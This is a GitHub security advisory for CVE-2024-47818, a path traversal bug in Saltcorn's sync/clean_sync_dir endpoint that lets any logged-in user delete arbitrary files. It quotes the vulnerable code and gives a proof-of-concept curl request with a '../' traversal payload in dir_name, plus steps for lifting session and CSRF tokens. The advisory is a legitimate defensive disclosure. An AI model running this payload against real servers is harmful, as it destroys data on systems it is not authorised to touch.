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Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability

High severity GitHub Reviewed Published Oct 6, 2024 in saltcorn/saltcorn • Updated Oct 8, 2024

Package

npm @saltcorn/server (npm)

Affected versions

<= 1.0.0-beta.15

Patched versions

1.0.0-beta.16

Description

Summary

A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.

Details

router.post(
  "/clean_sync_dir",
  error_catcher(async (req, res) => {
    const { dir_name } = req.body; // [1] source
    try {
      const rootFolder = await File.rootFolder();
      const syncDir = path.join(
        rootFolder.location,
        "mobile_app",
        "sync",
        dir_name // [2]
      );
      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
      res.status(200).send("");
    } catch (error) {
      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
      res.status(400).json({ error: error.message || error });
    }
  })
);

PoC

The following PoC can be executed with a user with any role (admin, staff, user, public)

  • create a file in a folder different from where the server is started:
touch /tmp/secret
cat /tmp/secret
  • log with a user and retrieve valid connect.sid and _csrf values***
  • send the following curl request
curl -i -X $'POST' \
  -H $'Host: localhost:3000' \
  -H $'Content-Type: application/x-www-form-urlencoded' \
  -H $'Content-Length: 93' \
  -H $'Origin: http://localhost:3000' \
  -H $'Connection: close' \
  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
  --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
  $'http://localhost:3000/sync/clean_sync_dir'
  • check if the file previously created does not exist anymore:
cat /tmp/secret
cat: /tmp/secret: No such file or directory

*** obtain connect.sid and _csrf values

A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality:

  • log in
  • open the browser developer console, go to the Network tab filter for settings request
  • visit http://localhost:3000/auth/settings
  • trigger the change password functionality
  • under the Headers and Request tabs, grab the connect.sid and _csrf values and replace them in the curl command

Impact

Arbitrary file delete

Recommended Mitigation

Resolve the syncDir and check if it starts with rootFolder.location/mobile_app/sync.

References

@glutamate glutamate published to saltcorn/saltcorn Oct 6, 2024
Published to the GitHub Advisory Database Oct 7, 2024
Reviewed Oct 7, 2024
Published by the National Vulnerability Database Oct 7, 2024
Last updated Oct 8, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(35th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2024-47818

GHSA ID

GHSA-43f3-h63w-p6f6

Source code

Credits

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